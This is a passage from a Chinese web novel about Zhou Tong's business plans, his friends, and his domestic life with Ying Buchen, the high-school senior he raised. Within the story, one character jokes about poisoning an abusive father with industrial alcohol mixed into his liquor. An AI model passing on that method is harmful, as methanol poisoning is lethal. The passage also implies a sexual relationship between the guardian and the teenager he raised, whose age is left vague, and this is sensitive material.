“第二个,这个墙绘类的,我们现在接的都是一些村里小打小闹的东西,值不得什么大钱,但是反馈都不错,我参考了一下你平常的东西,打算往幼儿园,旱冰场,台球厅咖啡厅等地方推,我希望你有时间多出一些方案给我,性价比高一点儿,等后期,这个我可以往外包,大学生什么的,往我们这儿走。”
“第三个,也是咱现在就可以忙起来的事情,美术器材类的,这个我也不少给你买了,省城的我也注意过了,书法类上点档次的东西,拿来送礼文化人最是喜欢这个,做咱们自己的牌子,毛笔,墨水,砚台,镇尺,字帖,宣纸等,书香文房无价。”
“这事儿我还跟尘商量商量,开百货里面去,但是得您这种懂行的来。”
佟老师的笔记本记得飞快。
“你就打耳这么一听不就完了吗,记啥?”周瞳问。
“我记不住这么多。”佟老师说,“我真行吗?”
“就是这牌子,我已经定完了。”周瞳笑着捻灭了烟头,在佟老师的书上写了四个字。
佟老师看了看,抿着嘴笑,“你,你这个,小尘见了又高兴了。”
“略施小计。”周瞳捋了一把头发,说,“我拿捏他不手拿把掐。”
“你在这儿坐一新桥那边能忙活过来吗?”佟老师正说话呢,娘娘腔抱着个花来了,往佟老师怀里一塞,说,“臭男人送的,送你了,祝你开业大吉。”然后一屁股坐下就抽烟。
“你这德行。”周瞳说,“你现在真的越来越...”
穿着裙子岔开大腿的娘娘腔一抬头,一记眼刀。
“曼妙了。”周瞳说。
“啥事儿,说,说完我还有场子呢。”娘娘腔说。
“叫你喝个茶咋这么费劲呢,”周瞳说,“不过我是舒服了,不用跟那些美女老板娘打交道了。”
“真的,我有一回跟你去打场子拉生意,你在前面说的话,你敢说我都不敢听,那娘们都胖成啥样了,你在她边上跟个拐似的,人家大屁股一撅,把后面那倒酒的都给差么点撂地上,你说她是个白珍珠,能老远都能看见,怎么都不怕认错姐姐,你都不知道我在你后面我都蒙圈了。”娘娘腔说。“我现在我都不敢带珍珠项链。”
“滚蛋!”周瞳踢了他一脚,“能不能记点好的,我出去当狗我还被你嫌弃是吧?”
“那个脾气大的娘们,她老公都嫌她火炮,你跟人家咋说来着?”娘娘腔吃着花生,“你他娘叫她火美人,说她福气好生来就不用惯着人,你不去打圈太浪费了你快去吧。”
“我可不去,我家那个才是火药桶,”周瞳翘着二郎腿,“不大点儿的事还记着呢,我再去能给我弄死。”
“小尘现在都这么牛了吗?”娘娘腔说,“瞳哥你家庭地位这么低吗?你咋弄得这么磕碜,不听话给他一耳刮子呗。”
“那可太行了,他能给我牙掰了。”周瞳叨着瓜子说,“他一脑门子就想着挣钱挣钱,出息出息的,才多大啊,就天天脑子全是这些事儿,我看他书包里还夹着啥杂志呢,人家那广告什么的,他都得打电话问问。”
“那晓得你不容易想早点帮衬你还不行呀?”娘娘腔也叨瓜子,“是不是佟老师?”
佟老师挠挠脖子,说,“是吧?”
“那咱稳定的,要他操心的呢,刚刚说哪儿了,一新桥那个店啊,”周瞳说,“你上次说的那个美容啥的,你记得不?”
“咋不记得。”娘娘腔说。“往那一趟,给你脸上擦点东西,摸来摸去的摸一会儿,钱就来了,省城都这样。”
“那玩意儿得多少钱?回头出去考察一下子,现在都媳妇管钱,”周瞳吐着瓜子壳,说,“这玩意儿真费劲,我搁家都是他叨好了给我吃。”
“那他要高考了,你别不知好歹的还叫人家叨。”娘娘腔说。
周瞳坐着剥瓜子,说,“那你那事儿也往上提一提,差不多要多少钱看看,你上回说了这事儿之后我溜达一下去了省城的那专门管人好看的医院,我刚过去就来问我是不是喇双眼皮,我问他我弄这个得多少钱,他就跟我说了个数,霍,我都不知道这玩意儿这么贵呢,我就问他说,我介绍人来喇我能得钱不,他说能啊,现在弄这个的人不多,我那个皮衣的兜里,你翻翻,我拿了人家资料,现在干美容的一堆事儿呢,人多就能合作拉提成,新春这边就做出点名堂,这事儿跟你那凑一堆,你看看。”
娘娘腔擦擦手去拿材料,一页一页翻,问,“咱真能干这个?”
“咋不能呢,但是我现在得紧着佟老师这边儿,你把一新桥那个店干好,也了解了解,该出去上上课你就去呗,让小眼镜看店,这是在人脸上动刀子的事儿,一个不好就得让人追着骂,你收收你想挣钱那个心,实在不行就再磨一磨你的性子再干,反正这东西我觉得以后得挣大钱,但是欲速则不达,你有啥想法了,你再跟我说。”
娘娘腔踢了周瞳一脚,说,“我先去试试项目,妥了我再弄,成吗?”
“那你脸弄坏了咋办?”周瞳问。
“那我自己弄了都不好,再耽误别人。”娘娘腔看着一沓的资料,说,“女孩子爱漂亮。”
“你这话说的我心里就有底了。”周瞳还在剥瓜子。
娘娘腔继续翻,“你咋弄的这老些。”
“那你不是想整这个吗?”周瞳说,“反正小风筝那头也是医院,我到处跟人说我想喇双眼皮,人家就给我介绍,人家还心思我带着个病娃娃,还惦记喇双眼皮,看我的眼神都不对劲。”
“你喇什么双眼皮,你现在这样就挺
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好看。”娘娘腔低头看资料。
“我也觉得你不用弄双眼皮。”佟老师说,“你的三庭五眼很标准。”
“你那个素描里面的词儿是吧,画肖像用的。”周瞳说。
“你怎么什么都懂一些。”佟老师说。
“那没办法么,要挣这钱啥也不懂的,光去交学费呀?”周瞳说。
“他开车就学修车,开游戏机网吧就修那些,弄啥学啥不奇怪。”娘娘腔还在看,“没小尘裹乱,现在怎么着也是个大老板。”
“这东西谁说的准,”周瞳说,“老想没走的路干什么,有路就走,没路就开,那种日子都能过,现在有啥不成的。”
“诶瞳哥,你要是真成了大老板了,小尘想跟你好,你能答应吗?”娘娘腔抬起头问。
“那是我说了算的吗?我要那么硬我现在也不能跟他好啊。”周瞳说,“你合计他上嘴唇沾下嘴唇我就答应了啊?”
“也是。”娘娘腔说,“小尘小时候,那我要出去送货人家等着呢,他哭得要去找你,我说我送完货我给他捎你那去,我说送完货回来接他,我回来找都找不到,他一个人就在路上走,走了四五个点,从小就犟。”
“他跟我说你打的他鼻血都流了好几天啊?你下得去手啊?”娘娘腔说,“他小时候你都疼啥样了,急眼了也不能这么打吧。”
佟老师在边上呲牙咧嘴。
“佟老师,他又不揍你,你这是啥表情。”娘娘腔说。
“现在还冬天流鼻血呢,我感觉就是被我打坏了,他擦的纸藏起来我看见了,小时候都不流的。”周瞳皱眉说,“那会儿真的是,他捧着钱给我,我给他弄得浑身都没一块好皮,我现在想起来我眼皮都跳。”
“佟老师,你是有听人说话就疼的毛病吗?”娘娘腔问,“咋还呲牙呢。”
佟老师摸着手臂,说,“我爸从小也打我,一喝酒就打我。”
周瞳看了佟老师一眼说,“现在呢?”
“现在我出来了,我妈回家也打她。”佟老师说。
“我给你支个招,”周瞳剥着瓜子说,“你回家跟你爹喝酒,那工业酒精加烧酒,给他喝瘫痪得了。”
“他可能是在外面不太顺意。”佟老师说。
“不顺就能打人啊?这么狂不出去打让他不顺意的人打老婆孩子?”娘娘腔说,“那你给你爹约出来,我跟他喝。”
周瞳在边上乐。
“疼孩子的我见过,”娘娘腔说,“我没见过他那样惯孩子的,那会儿咋的,下雪了,小尘说这个雪人化了那难受得不行,你晓得他干啥不?”
“我们拉完车都半夜了,他搁那和水泥,我说现在哪有活儿啊?他说他给小尘弄个不会化的雪人,完了风子搬缸,套袋子,倒水泥,又拆了个球灌上当脑袋,干了好几天,半夜回来还给刷白漆,给搬过去了,结果小尘说那个雪人太吓人了,吓哭了,说跟个鬼似的,扔角落了。”
“我咋知道雪人鼻子得胡萝卜啊,那不得烂啊,也没趁手的,我拿个那个起子弄得,眼珠子是那个修车剩下的螺丝帽,晚上还反光,那脑袋没糊好,他出来看的时候掉下来了,乍一看有点吓人。”周瞳在边上笑,“一袋水泥几个钱,没什么惯不惯的。”
“这事儿不算的话,那会儿你出去喝酒,他非得来跟,不让跟还不高兴了,不吃饭,你都喝得都要爬了,问他吃饭没有,他说吃面条,你给他弄面条,他又说吃米饭,你跑去给店里打了米饭,他又说吃馒头,你都不揍他?弄了多久你自己说,我都想揍他了。”娘娘腔说。
“那次是他那会儿坏了牙了,吃东西牙疼,你看他吃不就知道了,老摸腮帮子,他不舒服,”周瞳说,“小孩儿又说不明白,你别光想着揍啊,你得看孩子要啥。”
“我咋看不出来,”娘娘腔说,“就是惯的。大半夜溜你他牙就不疼了?”
“那本来就牙疼吃不下东西闹点脾气很正常,他乐意吃啥吃啥呗,就非得弄得他又委屈又牙疼才成?”周瞳说,“本来就没爹妈,我再那样欺负他,他找谁去,只能在家自己躲着哭。”
“要我爹我这样,”娘娘腔说,“高低给我俩电炮。”
“你现在这样你爹过来也能给你电炮。”周瞳说,“瞅瞅你那德行,穿啥我不管你,你他妈穿裙子能不能给你腿并拢。”
“我出去不这样,胯扭得生疼,到你这儿还得并着啊?”娘娘腔说。“这沙发这么矮,我不这样坐人都要流下去了。”
“行了,要说的都说完了,”周瞳把刚刚剥的瓜子都拢起来,用纸包着,说,“我回了,他差不多该醒了。”
“今天好不容易休息一天,还赶上这送家具,”周瞳拎着个保温杯,“拜拜。”
“你今天出去吗佟老师?”娘娘腔问,“你出去我给你送过去。”
“今天有个墙要改,我得去,但是估计得好一会儿。”佟老师说,“我自己拎着东西去公交车就行。”
“我开了货车过来,”娘娘腔拍他肩膀,说,“走吧。”
佟老师拎着东西放后头,坐上了货车,娘娘腔说,“你爸打你,你没想过还手啊?”
佟老师摇摇头,搓着手说,“我本来可以考更好的学校,我爸我考试前给我手打断了,我打不过他。”
娘娘腔点了一根烟,说,“投胎真是门学问呢。”
佟老师说,“周哥给我分了一堆事,我现在想不起来我爸了。”
娘娘腔哼了一声,“他自己倒是哄媳妇去了,把破事儿都扔给我们。”
77.三圈之后
周瞳拎着菜吹着口哨往外掏钥匙,应不尘还在睡觉。
他现在聪明了,都是人家炖的菜,热一热就能吃了。
周瞳洗了把脸,还在刮胡子,应不尘就揉着眼睛起来了,“醒了?”周瞳说,“一会儿直接吃午饭吧,米饭都蒸上了。”
“你去干嘛了。”应不尘又钻到前面来抱着。
“给佟老师拉家具,都弄完了。”
应不尘接过剃须刀帮他剃,说,“今天不想去上课了。”
“那就不上,”周瞳说,“想在家躺着还是出去玩啊?”
“外面现在有啥好玩的吗?”应不尘认真的刮着胡子。
“看你想玩啥了,现在就溜旱冰,游乐园还是那个破破烂烂的,没啥好玩的,要么就是一新桥那边逛街,远点儿就出去爬山,但是累。”周瞳说。
“我想打麻将,”应不尘说,“你上次说了教我的。”
“现在都忙,哪有功夫捞人给你麻将。”周瞳说。
“那我有点儿想去看看风筝,但是想着你来回开车太累。”应不尘说。
“你考试完了再去,现在去啥,折腾人。”周瞳洗了脸,拉着他出来吃饭。
“嗯,可以多待两天。”应不尘说,“那我下午干啥呢?”
“看你喜欢,”周瞳给他夹菜,说,“见不到风筝,我带你放风筝去也行。”
“我都多大了,我还放风筝。”
*
“我就说我行吧!”应不尘拉着风筝跑,说,“我就说没有我弄不明白的,你看看,高不高?”
“嗯,牛逼。”周瞳懒洋洋地躺在躺椅上,扣着副墨镜,拿手机按。
“你都没看。”应不尘疯跑了一段,累了,躺在他边上的躺椅上,周瞳给他递水。
“看了。”周瞳说,“年轻人是不一样,我光看你跑我都累了。”
这是一片江边的草野,边上挨着山,没踩好还能踩着淤泥。
“脏不脏。”周瞳给他鞋子拔了,敲敲雨鞋,给石头敲出来,套上,又扔给他一个弹弓,“去玩吧。”
“我不玩,我就在这跟你坐着。”应不尘看着自己的雨鞋,说,“这你干活儿穿的那双嘛。”
“你能穿几回。”周瞳说,“就这穿穿得了。”
“咱两脚不一般大。”应不尘甩着脚。
“那你不长个能怎么弄,”周瞳说,“以前怕你长得快,现在怕你长得慢。”
“我小时候偷穿你的鞋呢。”应不尘说。“还偷穿你衣服了。”
“知道,”周瞳的手上转着手机,说,“下摆都擦灰了。”
“我小时候试卷我给自己签名,考的不好的时候。”应不尘说,“结果老师说我姓应,家长姓周。”
“知道,”周瞳闭着眼睛笑着说,“你老师给我看了,我说我签的,他问我这拼音也是我签名的吗?我说我不会写我自己名字。”
应不尘打了他胳膊一下,说,“咋还笑人啊,你名字笔画太多了。”
“那张试卷我看了,最后作文叫写的是叫你介绍一个你去玩过的地方,写你去过印象最深刻的地方,别人都写风景名胜,我没带你去过,你不会,考砸了,”周瞳晒着太阳,说,“我看了你作文,你写的我带你去赶集会,那里有扯开刮奖的那种,最后一点钱,跟你说叫你摸奖,摸到了咱两就吃大餐,摸不到咱两就回去吃面条,然后你刮了个奖出来,咱两也没吃大餐,你作文最后写,我哥又去摸奖想发财,把钱都摸光了,最后饭也没吃,钱也没有,我哥还骂我,使我印象深刻。”
“你好意思说,你自己听听,给我童年造成的心理创伤。”应不尘说。
“啥创伤啊,这不是宝贵一课吗?不能瞎摸奖。”周瞳咧这嘴说。
这会儿一辆货车颠簸着就到了眼前。
娘娘腔从车上下来,抱着胸说,“要死呀!这就是你说的重要客户啊?”
“啊。”周瞳说,“赶紧,都下来。”
应不尘问,“咋了这是。”
只见小眼镜从货车后面搬下来一张桌子,垫着石头给他放平整了,佟老师拎着一箱子东西过来。娘娘腔跺了一下脚也去搬东西了。
最后,应不尘打上了麻将,周瞳在后面教。
“你,你,我就随便一说。”应不尘小声说,“你咋,咋还真都叫上了。”
“我给你哥发消息,问你要不要过来店里,别老一个人学习,出来跟我们玩玩,他就说他在陪客户,叫我们过来打麻将。”娘娘腔说,“我还说他呢,你难得休息一天,陪啥客户。”
“他说大客户。”娘娘腔翘着二郎腿打了一张牌,说,“叫我们赶紧都来。”
“打这个。”周瞳扶着应不尘的手打出去,说,“把他们钱赢光,尤其是这个佟老师,最近没少挣。”
佟老师说,“我刚刚在车上小眼镜教我的,我还不太会。”
“你没打过麻将啊?”娘娘腔转着牌问,“我今天给你们全杀了,我最近这个牌技所向披靡。”
“诶诶诶你又瞎摸牌,”小眼镜说,“佟老师没摸呢。”
“打这个,”周瞳弯腰有点累,坐下把人放腿上打,“这个就赖子,刚刚就翻了,啥牌都可以当,咋胡知道吗?”
“刚刚说过了。”应不尘的耳朵被他蹭着,有点痒,说,“那你看我打,我自己试试。”
“行。”周瞳亲了他一口,说,“我看你打。”
...
三圈之后——
“不是,这不是跟第一幅牌一样那么胡不就行了吗?”周瞳说,“你非要,你五翻,你看,打成这样。”
“那哪里一样了,我这牌能走五翻的为啥我要让人跑啊?”应不尘说。
“那你看你非要贪是不是,那佟老师那牌你看他样子,他在那吃手指肯定不错啊,你还不想着赶紧跑?”周瞳说。
“你不也是这么打的吗?单吊的时候你不也这样吗?”应不尘说。
“那我那把桌面还剩下几个牌了?不就应该这么打吗?”周瞳把他牌推了。
“你说话就说话,你推我牌干啥啊?”应不尘说。
“你这牌被你打这样,你还打啥呀!”周瞳说。
“问题是什么?是我刚说要打九条,你非打七万,打输了你咋就觉得是我的毛病啊?你会不会啊?”应不尘说。
佟老师轻轻地说,“他俩也会吵架啊?”
小眼镜跟娘娘腔都不敢帮腔。
“小眼镜,让我来,我今天不得给这狗崽子制服了。”周瞳把小眼镜打了起来。
“你根本你就打不明白牌,你还给我制服了。”应不尘说,“我都不应该让你教我。”
“来呗,应不尘我真是,我跟你亲兄弟。”周瞳晚起袖子,说,“我真不明白你跟我俩犟什么,你还给我分析起问题来了。”
“你打得稀巴烂的,难怪你那个账,你那个算术你都这样,你正经你看看你自己思路吧行吗?我分析你问题,我为你好呢?”应不尘说。
“别说那些没用的,”周瞳说,“搭牌呗。”
“我怕你啊?”应不尘说,“死犟的。”
佟老师说,“不要吵架,不要吵架。”
“你听听他说的什么话,他尊重长辈了吗?有这么跟长辈拿乔的吗?”周瞳说。
“不是,你装什么长辈啊,咱论事论事,你牌打得不好,你不承认,”应不尘说,“咋了,输不起啊?”
“嘿,你太有意思了应不尘,”周瞳搭了一圈牌,叼着根烟,看了一眼自己的牌,很舒服,“加起来还没三条裤衩子高,你还给我上一课你还。”
“你!”
应不尘蹲在椅子上,摸了牌,“八万。”
“藏四万呗,”周瞳说,“你那点小心思够干啥的。”
“你打牌能不能不说话?”应不尘说,“咱就打完看,行吗?”
“狂的,”周瞳说,“碰。”<
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佟老师还在吃手指,娘娘腔倒是笑眯眯的打牌。
“我说你给他喂牌有意思吗娘娘腔,”周瞳说,“你给他喂一副他也胡不了。”
“我就自己打腔叔,”应不尘说,“你输了怎么说?”
“我输了我管你叫爹呗你太有意思了还我输了。”周瞳说叼着烟说,“杠。”
“等幺鸡呢?”应不尘一推,“胡了,通吃。”
...
“怎么不说话了?”应不尘问。
“我眼睛痛。”周瞳说,“这儿风大。”
“你刚刚咋没痛?”应不尘说。
“娘娘腔抽烟迷我眼睛。”周瞳说。
娘娘腔说,“不是,今天东风,我坐你上家,这也吹的到?”
佟老师说,“我,我好像有活儿没干完。”
娘娘腔说,“我找人替我看得店,差不多也好几圈了,要晚了,得回去看店。”
“小眼镜!睡什么觉,走了!”他们又把东西搬走了。
就剩下周瞳跟应不尘俩人。
应不尘给他嘴里塞根烟,“别演了。”
然后二人低头一块儿点烟,额头错在一起,要晚了,猎猎的风卷过草野。
“躺会儿。”周瞳赖在折叠椅上。
应不尘把椅子拉在一块儿,挨在他边上抱着膝盖。
“瞳哥。”
“嗯?”
“咱俩老了打麻将还会吵吗?”
“会吧。”
“小时候你咋不教我打。”
“都坏事儿,你长大了才能学。”
周瞳掏了一把瓜子出来给他。
“哪儿来的?”应不尘问。
“我剥的呗。”周瞳说,“吃呀,看我干啥?”
“你不是最嫌麻烦?”应不尘问。
“你值不值钱啊,几个瓜子就能换你这眼神。”周瞳说,“我给你养的这是啥呀,别丢人现眼。”
“知道了儿子。”
“你说啥狗崽子。”
俩人掐着就上了车,一上车应不尘就累了,窝在副驾驶,眼睛都睁不开了还要看路。
“你睡你的呗,一会儿就到了。”周瞳说。
“嗯,晚上吃火锅吗?”应不尘问。
“我猜你吃这个,早上我都买菜了。”周瞳说。
“晚上我可以喝啤酒吗?”应不尘问。
“这么大人了你喝汽油我也管不了啊。”周瞳说。
“我高三还没上完,你带我抽烟喝酒打麻将。”应不尘说。
“说的我不教你就不会似的。”周瞳说。
四月的布谷送别旅人归去,飞驰的汽车掠过孤鹜落霞。
全车几万个零件为人而活,轰鸣着内燃机送恋人归家。
“你鞋子脱外面。”周瞳蹲在地上,说,“踩我脚上。”
“我没袜子,袜子湿了。”应不尘说。
“我抱着你进去。”周瞳拎着拖鞋抱进来给他穿上,说,“你乐意干啥干啥,我给你弄点吃的。”
周瞳进了厨房,小辫儿已经长了一撮,上次修了修,有点儿扎脖子。
他洗了洗手,插着兜正在炒底料。
蓝色的火焰慢慢悠悠的,香味开始飘散。
家里没开灯,仅凭着外面的光亮。
“咋了?”周瞳感觉有一双手圈了上来,偏头问。
“我就在这里看着你。”应不尘晃着说。
“那你也别踩我脚后跟啊。”周瞳说,“我炒这个呛鼻子,你出去玩去。”
“不要,你抱着我炒。”应不尘说。
周瞳说,“抱着你还咋...炒...”
二人也意识到了这些沟通此刻已经不适合炒火锅底料了。
周瞳关了煤气灶,扣住了他的手腕,说,“也不是不行。”
应不尘软绵绵的被人按在冷冰冰的瓷砖上,黏巴巴的拉长尾音,“去床上呀...”
78.透一透酒
“祖宗,要迟到了。”周瞳睁眼看了一下时间,火速穿着袜子跑过来还要给应不尘收东西,小崽子昨天闹完又说饿,吃点别的他又不成,两人大半夜的吃火锅,外面客厅弄得一团乱,清早起来还一股火锅味。
他多喝了两瓶啤酒,睡到现在还么醒。
“我头痛。”应不尘说。
“是不是喝酒喝得?”周瞳抱他起来放问。
“嗯。”应不尘懒洋洋的躺在床上,任由周瞳给他穿衣服,像打扮一个布娃娃。
“你再喝一瓶,透一透就好了。”周瞳说,“一会儿我给你拿一瓶,你路上喝。”
“啊?”应不尘狗窝一样的头发头重脚轻地出来了。
“我给你揣书包里。”周瞳一把拉着他说,“赶紧刷牙洗脸。”然后胡乱的用毛巾给他擦,按着他的头漱口,拽着他就下楼飞速把他塞车里就跳上来一脚油门往前开。
“咋还不喝呢?”周瞳说,“真的你信我,透完就好了。”
“我去学校透,行吗?”应不尘小脸蜡黄,像是被吸光了阳气。
“那你这瓶子你你叫人看见也不好,你这不是第一名吗?你得表率嘛。”周瞳说,“我这个保温杯,你倒里面,你偷偷喝。”
“谢谢你啊。”应不尘说。
“行,完了我今天也没啥事,应该就在佟老师那,你要是实在不舒服你就给我打电话,行不?”
“知道了。”应不尘说。
“没给你弄早饭吃,一会儿我给你送过去,你别迟到了。”周瞳一脚油门就往学校去。
“不用送,我书包里有吃的,而且我也没什么胃口。”应不尘说。
“行吧。”周瞳下来开车门,“到了,快进去吧。”
应不尘狗头耷脑的就进去了。
周瞳都还没到家呢,应不尘的班主任电话就打过来了,说他状态不太好。
又是一个打条折回去。
早自习别人都去小卖部买东西吃东西上厕所。
应不尘趴在桌子上,周瞳从窗户里看见了。
“班主任老师。”周瞳敲敲门。
“您来得真快,早自习看着精神状态就不太好。”班主任说,“最后一个月了,可千万要注意身体,要最佳的状态面对高考。”
“是是是,我们家里都会注意的,”周瞳说,“那我给他带走了。”
周瞳坐在应不尘的边上。
从下面钻进去看他。
应不尘迷迷糊糊睁开眼睛,“你咋来啦!”
“接你回去呗。”周瞳摸他额头说,“有点烧。”
“你才骚呢。”应不尘说。
“...”周瞳给他拿书包,说,“我骚我骚。”
“我饿。”应不尘黏黏巴巴地说。
“吃吃吃,一会儿看看你想吃啥。”周瞳说,“我给你弄。”
“我冷。”应不尘说。
周瞳又把衣服脱下来给他披上,自己就剩下件帽衫,“穿穿穿。”
“走走走,回家回家。”周瞳说。
“我都跟你说我头痛了,”应不尘拉着尾音埋怨,说,“你还要送我来。”
“我不对我不对,”周瞳背着书包,拿着卷子,让应不尘抓着手,“楼梯祖宗。”
“你还叫我透一透。”应不尘说。
“那嘴上可以挂尿壶了。”周瞳说,“走几步走几步,车不让开进来,不然我都开你位置上去。”
“我都要难受死了你还贫。”应不尘说。
“那我现在不正在戴罪立功给您摆驾回宫呢吗?”周瞳说,“走两步走两步。”
应不尘一出来就歪了,死烫的。
周瞳给他揣着走,塞车里。
“我带你去医院还是回家?”周瞳问。
“我要回家。”应不尘说,“我不喜欢去医院,我饿。”
回家了周瞳也就会弄个白粥,生病了得吃点有营养的。
周瞳掏出手机,“喂?你过来一趟呗,带点吃的粥什么的,小尘不太舒服,我刚接回来呢,啊,行,家里钥匙在地垫子底下,你到了你拿,拿。行行。”
周瞳挂了电话,说,“打个小针呗?好不好,打了好得快。”
“不要。”应不尘扭过头去,脸还是红的。
“那我先带你回去,行不行?”周瞳说,“回去发一发汗,不行再去医院?”
“嗯...”应不尘挨在周瞳身边。
到了楼下,周瞳把书包背上,要把人扶出来的时候他却怎么也不肯走了。
“我可知道了我那会儿为啥干装卸了,”周瞳气喘吁吁,把人抱在前面,说,“就是你个狗崽子这么大了还要抱,都在看你了。”
“我不舒服。”应不尘的脸颊贴在他脖子上,连呼吸都是热的。
“这可咋整,”周瞳说,“还有个把月考试了。”
周瞳抱着他找钥匙,用膝盖顶着不让他掉下来,说,“祖宗,马上就到,一会儿我们先睡一觉,然后看看退不退,不退我带你打针去啊。”
周瞳感觉到温热的眼泪顺着他脖子流下来,“咋还哭了呢,不哭啊,哥在呢。”
脖子上的手臂环得更紧了,“你上次管我生病,已经是很多很多很多年前了。”
“那以后管,也管很多很多很多年。”周瞳还在门口摸钥匙。
应不尘说,“从前我生病了,你跟我说,别让汪奶奶知道,汪奶奶跟我说,别让你知道。后来,你们就一个都不知道了。”
他也不肯松手,非要这样抱着。
钥匙还没找到,娘娘腔开了门了。
“带回来了啊。”娘娘腔说,“粥买了,菜也买了点,赶紧带进去睡觉。”
应不尘看见了娘娘腔就要下来,喊了一声,“腔叔。”
“叫他给你抱进去,”娘娘腔手背摸了一把应不尘的脸,说,“昨天还好好的,造成这样呢。”
周瞳把人抱进去,他还不撒手。
“我拉窗帘,给你找感冒药,咱喝点热水,然后我抱着你睡好不好,咱不好就哪里都不去了好不好。”周瞳轻轻哄着,狗崽子松猴爪子了。
烧上热水一会儿好吃药,又拧了了一块热毛巾。
应不尘鼻子都红了,到嘴唇都是干的。
周瞳给他擦脸,擦手,摸了摸脚冷不冷。
“你家里有没有药啊,”娘娘腔说,“可别耽误了,弄上一个礼拜啥的,作业都落下了。”
周瞳换了拖鞋,拖鞋给他倒了杯茶,“有呢,我找找。”
“昨天出去放风吹的啊?”娘娘腔问。
“差不多。”周瞳往卧室看,“我叫他吃点东西吃药了再睡,睡一觉发汗了再说。”
“不行直接去医院。”娘娘腔还是有点担心。
“他小时候去医院休息不好,打了针也退不下去烧,青霉素又过敏,不着急的时候吃的是银翘片,着急吃的白加黑,头痛粉我不愿意让他吃。”周瞳说,“现在估计也差不多。”
“我给你也一块儿弄点饭吃吧。”娘娘腔说,“你一个人也整不了。”
“做点倒是也行,来回跑两趟了。”周瞳说,“麻烦你了。”
“那有啥。”娘娘腔把香菇鸡肉粥给周瞳,就进了厨房。
周瞳把人扶起来,不愿意喝,干巴巴的往外透气儿。
挨在自己身上,抱着喂,每一口还得吹一吹。
“我吹了能治病吗?”周瞳瞧着他,“眼巴巴地看。”
“就要这样。”应不尘圈上来。
“行行行,那就这样吃,再吃一口。”周瞳说。
“都怪你。”应不尘打了他一下说。
“我又咋了。”
“昨天我跟你说了去床上去床上,你非....”应不尘被捂住了嘴巴,还没咽下去的粥,用力的咳嗽起来。
又不敢捂了,“一会儿听见了...”周瞳嘘了一声。
应不尘的脸蹭一下红了,往外瞧,“你咋不关门呀...”
“应该没听见。”周瞳说,“没事儿,给这粥喝一点儿,然后咱吃点药,我吃口饭上来陪你行不行,娘娘腔特意赶过来给送的东西。”
“嗯。”应不尘说,“那你开着门。坐那儿吃。”应不尘指了个位置。
这位置就能看见了。
“行,来,啊。”周瞳又喂了几口,说,“过一会儿吃药。”
周瞳往厨房走,“冰箱里有啥菜,你看着弄就行,咱两对付一口就成。”
“不是我说你,”娘娘腔炒着菜,“你也这么大年纪了,咋能这么折腾人呢?人家要考试了,你咋跟没心肝似的。”
“我咋了。”周瞳打开冰箱,找找还有啥。
一低头看见了垃圾桶。
这映入眼帘的新鲜打了结的生活用品,跟边上啥颗粒啊啥情趣啊啥满足啊混在一起,一大堆纸巾欲盖弥彰,侧过头去看,沙发上的茶几上的东西都叫收得差不多了,正在洗衣机里面转。
周瞳两眼一黑。
昨儿个太晚了,没收拾,早上急急忙忙就跑了。
“你说你咋了。”娘娘腔挖了他一眼,“男人就没一个好东西。”
“窗户也不关,屋里全火锅味儿,能不生病吗?”娘娘腔说,“真不知道你这孩子咋给你养大的,算他命硬。”
“诶诶,”周瞳把一杯热水来回倒,贴在脸上试温度,说,“别整那老些菜了,随便吃点儿得了。”
“你吃吧,我还得回去看店子去,回头他要是再上医院你再叫我。”娘娘腔把垃圾拎下去,“走了啊小尘,好好休息。”
“他怎么这么快走了,不是说跟你一起吃饭吗?”应不尘问。
“来,吃药宝贝儿。”周瞳给他拿水,“不管他。”
“我不舒服。”应不尘软绵绵的,手心也热。
“把被子捂好,出个汗就舒服了。”周瞳坐在边上随便扒拉了几口饭,又给他量体温。
“你好好吃饭。”应不尘说。
“你管你自己。”周瞳说,“你人都这样了,我咋好好吃饭。”
“小时候我生病了,你要干活儿,你就...阿嚏...”应不尘打了个喷嚏,周瞳给他擦,又怕人中的地方疼,慢慢的捂了一下。
“你一生病就殃,就现在这样,”周瞳进来被子里抱着。
“你讲故事。”应不尘说。
“讲故事,我想想啊,我给你讲你小时候的故事啊,”周瞳抱着拍,慢慢哄着,“你小时候有个时间段,你特别馋,平常也没那么馋呢,然后你就跟你的同学们去偷甘蔗吃,你那牙也吃不来甘蔗嘛,我觉得还挺好吃,问你还有没有,问你好几回,你就说有啊,结果你就被那边的甘蔗地的人抓了,然后把你弄学校去了,老师把我也叫学校去了,我一听,我说你这孩子咋能去偷甘蔗呢,你就在那翻白眼,回来路上我给你买了肉松干,你才没生气了。”
“还听。”应不尘闭着眼睛,身上开始出汗了。
“我想想,你小时候那会儿,你记得不,有个毛病叫红眼病,然后就是看一眼就传染了,你就不敢回家,人家小孩儿都回家了,我去接你,带你去医院,医院里都是这毛病,”周瞳笑了一下说,“我说我身体好,肯定不犯这毛病,我抱着你哄着你,结
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果你是好了,我犯了,犯的时候医院的眼药水都卖没了,有的都特贵,你就红了三天,我红了半个多月。”
“那会不会把这毛病传染给你?”应不尘突然醒了,就不要抱了。
“传呗,”周瞳说,“别动了,出汗了就好了。”
一觉睡醒,天都黑了。
周瞳又抱着人量体温,可算是不烧了,身上黏黏的出了一身汗。
他小心地出了被窝,拿热毛巾给他身上擦一擦,又用干毛巾擦干。
“哥哥...”应不尘喊。
“嗯?”周瞳给他盖好被子,“好好睡,一会儿吃饭。”
进厨房弄点儿白粥,他也就会这个了。
一双手又圈上腰了,“咋还过来了。”周瞳把人抱起来,“你这样我还怎么给你做饭嘛。”轻轻拍着他的屁股哄,“又不穿袜子。”
厨房的白粥咕嘟咕嘟,应不尘整个人都挂在周瞳身上,把头埋在他的肩窝里,“我都好了。”
“又耽误你两天,”周瞳摸着他的脚,“还是凉呢,坐床上去,我给你端过来。”
“我咋没觉得是耽误,”应不尘啵唧亲了一口,“我明天就好好学嘛。”
“行呀,”周瞳说,“我怎么有这么听话的宝贝儿。”
卧室里只开了一盏暖色的台灯,应不尘穿着毛茸茸的拖鞋在看试卷。
“今天不是说休息吗,咋又抱上试卷了。”周瞳进来了。
“不行啊,快考试了,还是得读。”应不尘说。
“人没好利索呢。”周瞳说,“别弄这么累。”
“我着急呢。”
房间里就剩下沙沙的写字声,跟他偶尔的咳嗽跟擦鼻涕。
半宿一晃就过了。
“你店里不用看吗。”应不尘转过来问。
“不用,盘货就行了,多少钱我心里有数。”周瞳说,“能攒下来一点儿。”
“回头咱们俩去省城的话,你来回跑吗?”应不尘问。
